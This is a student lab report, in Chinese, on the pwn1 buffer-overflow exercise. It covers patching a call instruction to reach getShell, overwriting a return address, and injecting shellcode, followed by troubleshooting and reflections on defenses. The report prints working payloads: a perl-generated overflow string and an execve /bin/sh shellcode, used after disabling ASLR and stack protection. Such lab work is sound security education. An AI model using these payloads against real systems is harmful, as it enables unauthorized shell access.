1.实验内容
- 手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。 - 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
掌握反汇编与十六进制编程器
能正确修改机器指令改变程序执行流程
能正确构造payload进行bof攻击
2.实验过程
1.基础知识总结
1. 掌握 NOP, JNE, JE, JMP, CMP 汇编指令的机器码
-
NOP（空操作指令）：机器码通常为0x90，执行时不改变寄存器或内存状态，常作为 “填充指令” 或在 Shellcode 中构造 “滑行区（NOP slide）”。
-
JNE（Jump if Not Equal，不等则跳转）、JE（Jump if Equal，相等则跳转）：属于条件跳转指令，依据 CPU 标志位（如零标志位 ZF）决定是否修改指令指针（EIP）以改变执行流，各自对应特定机器码。
-
JMP（无条件跳转指令）：机器码随跳转方式（如近跳、远跳）不同而变化，执行时直接将指令指针修改为目标地址，强制改变执行流程。
-
CMP（比较指令）：机器码对应 “减法操作但不保存结果，仅设置标志位” 的行为，用于为后续条件跳转（如 JNE/JE）提供判断依据。
2.掌握反汇编与十六进制编程器
-
反汇编：是将可执行文件的机器码转换为人类可读的汇编代码的过程（如使用objdump工具）。通过反汇编，能分析程序的执行流程（如main、foo、getShell函数的汇编实现、地址分布），为修改指令或利用漏洞提供依据。
-
十六进制编程器（如xxd、hexedit等工具）：可直接查看、编辑文件的十六进制（二进制）内容。由于可执行文件本质是二进制数据，若要手工修改指令（如把 “调用foo” 的指令改为 “调用getShell”），需通过十六进制编程器定位到指令对应的十六进制位置并修改。
3.能正确修改机器指令改变程序执行流程
程序的执行流程由指令的顺序和跳转 / 调用指令共同控制。正常情况下，程序执行流是main调用foo函数。若要直接跳转到getShell，需：
-
1.通过反汇编找到main中调用foo的指令（或关键跳转指令）对应的机器码位置；
-
2.用十六进制编程器将该位置的机器码修改为 “调用getShell函数” 或 “直接跳转到getShell” 的指令机器码；
-
3.保存修改后，程序执行时就会因指令被篡改，强制转向getShell的执行逻辑。
4.能正确构造 payload 进行 bof 攻击
-
BOF（Buffer Overflow，缓冲区溢出）的核心原理是：程序向缓冲区写入数据时，若写入长度超过缓冲区容量，会覆盖相邻内存区域（包括函数返回地址）。
-
foo函数若存在缓冲区溢出漏洞（如使用gets、strcpy等无长度检查的函数），则可构造payload（攻击数据）
2. 直接修改程序机器指令，改变程序执行流程
- 下载目标文件pwn1,反汇编。
用vi pwn1 pwn2
我是后续为了体现学号又把pwn2改名成pwn20232429
但是由于我对指导书的理解是按照指导书进行操作，后续所有的实验过程都是在pwn1里面进行的，后续实验中pwn20232429文件仅能体现学号
- 打开pwm1文件之后显示是乱码，使用
:%!xxd将显示模式切换为16进制模式，再输入d7找到要找的/e8d7，修改d7为c3
乱码部分太混乱，没有截图，仅体现了和指导书里体现的后续反汇编情况
- 修改后的反汇编如图所示
-
运行pwn2(后续改名为pwn20232429)得到shell提示符
./pwn2 -
效果如图，表明成功
3.通过构造输入参数，造成BOF攻击，改变程序执行流
1.确认输入字符串哪几个字符会覆盖到返回地址
2.确认用什么值来覆盖返回地址
- 使用
info r找到
eip 0x804849d 0x804849d <foo+12>
3.构造输入字符串
- 输入
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
xxd input
结果如图
- 然后将input的输入，通过管道符“|”，作为pwn1的输入。
结果如图
4.注入Shellcode并执行
1.准备工作
- 使用
echo "0" > /proc/sys/kernel/randomize_va_space命令关闭地址随机化
2.构造要注入的payload。
-
使用
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
命令来写一段shellcode，上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。 -
打开一个终端注入这段攻击buf：
使用(cat input_shellcode;cat) | ./pwn1 -
找到pwn1的进程号是：12187
-
启动gdb调试这个进程
gdb
attach 12187 -
确保buf没有问题，找到01020304的位置
- 再开另外一个终端，用gdb来调试pwn1这个进程。
最终结果如图
3.问题及解决方案
- 问题1：在做最后一个实验时，总是出现管道破裂的情况
- 问题1解决方案：重新做了一遍最后一个小实验，确定了真正的地址为0xffffcf8c,计算出的地址为0xffffcf90，可能之前的问题是因为没有正确的关闭随机化地址，地址一直错误导致管道破裂
- 问题2：出现报错
execstack: 未找到命令 - 问题2解决办法：用patchelf替代execstack，实现了原本的需求
4.学习感悟、思考
一、工具与环境：细节决定成败
- 实验的第一步就给了我一个 “下马威”——execstack: 未找到命令。最初以为只是简单的工具缺失，尝试安装prelink却又遇到 “无法定位软件包”，这让我意识到：安全实验的环境配置往往比攻击本身更考验耐心。
为了解决这个问题，我先后尝试了更换软件源、用patchelf替代execstack、手动编译源码等方法。过程中发现，系统工具的依赖关系远比想象中复杂（比如prelink依赖libelf库，版本不兼容会直接导致编译失败），而官方预编译包的 “开箱即用” 特性，往往是新手最稳妥的选择。这让我明白：做实验前先理清工具的依赖链，善用系统包管理器，能少走很多弯路。
二、原理先行：知其然更要知其所以然
实验中涉及的每一步操作，背后都藏着安全机制的逻辑：
- 用execstack -s或patchelf --set-execstack设置堆栈可执行，是因为现代系统默认限制堆栈执行权限，而栈溢出攻击需要让 Shellcode 在栈上运行；
- 关闭kernel.randomize_va_space（地址随机化），是因为 ASLR 会随机化内存地址，导致精心计算的返回地址失效；
- 用 Perl 生成包含 NOP 填充、Shellcode 和返回地址的input_shellcode，则是为了精准覆盖栈上的返回地址，让程序跳转到 Shellcode 执行。
- 一开始我只是机械地执行命令，但当某次因返回地址计算错误导致攻击失败时，才真正理解：脱离原理的操作只是 “碰运气”，只有搞懂每一步的作用（比如 NOP 的 “滑行” 机制、小端序对地址的影响），才能在出错时精准定位问题。
三、问题解决：灵活变通与 “替代思维”
实验中遇到的不少问题，都需要跳出 “非此即彼” 的思维：
- 当execstack安装失败时，patchelf的替代方案让实验得以继续；
- 虚拟机中Ctrl+Shift+V粘贴失效时，右键菜单、Shift+Insert等替代方法成了 “救命稻草”；
- 手动编译源码报错时，回头用官方源安装反而更高效。
这让我体会到：安全实验不是 “一条路走到黑”，面对工具或环境限制，学会寻找替代方案、灵活调整策略，本身就是解决问题的核心能力。
四、感悟：从 “攻击” 到 “防御” 的思考
完成实验后，我不再只关注 “如何成功溢出并获取 Shell”，更多思考的是：这些操作为何能生效？系统又该如何防御？
- 堆栈执行权限限制、ASLR 地址随机化，本质上都是系统为抵御攻击设计的安全机制；
- 我们通过关闭这些机制 “制造漏洞”，恰恰反证了它们的防御价值。
这让我明白：学习漏洞利用的终极目的，不是为了攻击，而是理解系统的脆弱点，进而设计更安全的防护策略。每一个成功的攻击案例，都是对系统安全的一次 “体检”。
方法--废弃)
